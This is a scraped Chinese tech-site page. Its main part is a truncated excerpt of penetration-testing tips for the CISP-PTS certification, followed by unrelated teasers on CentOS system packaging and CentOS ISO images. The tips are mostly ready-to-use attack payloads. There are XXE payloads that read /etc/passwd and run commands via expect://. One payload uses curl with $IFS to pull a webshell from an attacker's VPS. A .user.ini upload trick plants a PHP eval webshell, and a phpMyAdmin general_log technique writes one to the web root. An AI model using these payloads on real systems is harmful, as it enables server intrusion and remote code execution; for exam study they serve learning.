首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

CISP-PTS中的渗透小技巧分享

1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行,做一个简单改造即可使用。对比如下: 改造前: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径:SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后,再加上回显位置即可成功利用,完整载荷示例: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种,通过上传webshell来。 利用前提:知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上,直接寄。 1)使用python托管webshell python -m http.server 8088 2)下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析: curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代,没啥好说的,常规思路。 下载url不能带协议 下载url用单引号包裹,如果是-o方式,保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多,.user.ini是php给用户的自定义配置文件,可将指定文件按照php脚本文件的形式解析。 介绍:https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程: 1)上传.user.ini filename:.user.ini Content-type:image/jpeg 文件正文: GIF89a auto_prepend_file = aaa.jpg 2)上传webshell filename: aaa.jpg Content-type:image/jpeg 文件正文: GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包: 文件——导出分组解析结果——为纯文本 通过notepad++解码: 提取所有注入数据包,此处使用notepad++中的标记功能,查找模式设置为正则表达式。 提取出来以后,找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后,用英文的逗号隔开,然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提:知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目

01

CentOS6.5 linux系统定制与封装快速实施脚本

在大型企业或者是IDC做运维的朋友经常会有这样子的需求,有些人可能还不是很了解Linux的二次封装有什么好处,这里简单说一下,就是当你要反复做一个操作的时候,比如说要部署300台WEB服务器,这时候你如果一台一台装,然后装完系统后再去配置这个WEB应用,那要花多少时间啊,是吧!但是如果你装好一台服务器,然后将这个系统进行二次封装,这样子你下次再要部署相同的WEB服务器的时候就只需要拿这个封装的系统去部署就OK,这是不是简单多了,这时候有人可能会怀疑会不会存在驱动问题,当然系统本身OK的,他是没有问题的,除非你是特殊的硬件。其实简单的理解就是一个windows的ghost封装差不多。如果你还是不是很明白,可能你需要多读几次这段文字。前期有测试过网上的一些教程,发现在CentOS6.0以上都不太好用了,由于时间的原因,我这里只是贴出封装的shell,其实整个还需要有一个比较复杂的过程,你可能需要用心去了解一下下面这个shell的意思,有需要的朋友可以联系我。当然我经常会用它来封装像 open***、vsftpd、web等服务器,让它能够实现全自动化快速部署,以提高我的工作效率,后期有机会将上次发布的vsftpd服务器的封装包发现来大家分享一下,大侠不要拍砖!头已经在流血。

03

windows安装虚拟机(VMware)

CentOS-7.0-1406-x86_64-DVD.iso:这个镜像(DVD image)包括了那些可以用安装程序(installer)安装的所有安装包,这个为大多数用户使用的推荐镜像。 CentOS-7.0-1406-x86_64-NetInstall.iso:这个镜像用来从网络安装或者用来救援系统,安装系统时安装程序会询问从哪里获取安装包,推荐给拥有centos本地镜像的用户使用。 CentOS-7.0-1406-x86_64-Everything.iso:这个镜像包含了centos7的一套完整的软件包,她可以用来安装系统或者填充本地镜像,此镜像需要一个双面的DVD或者8G以上的U盘。 CentOS-7.0-1406-x86_64-GnomeLive.iso CentOS-7.0-1406-x86_64-KdeLive.iso(每个大小1G左右) :这两个镜像是centos的实时图像,不同名称显示不同的显示管理器(即GNOME or KDE) 它们可以用来探索或者是测试centos7的环境,它们一般不会改变硬盘环境,除非你使用在live环境下安装。此镜像需在已装好的系统下,使用yum安装。。 CentOS-7.0-1406-x86_64-livecd.iso:这个镜像有点像上面的GNOMElive,但是没有像libreoffice那样的安装包,这个镜像足够小,可以轻松的烧录在cd上。。

02
领券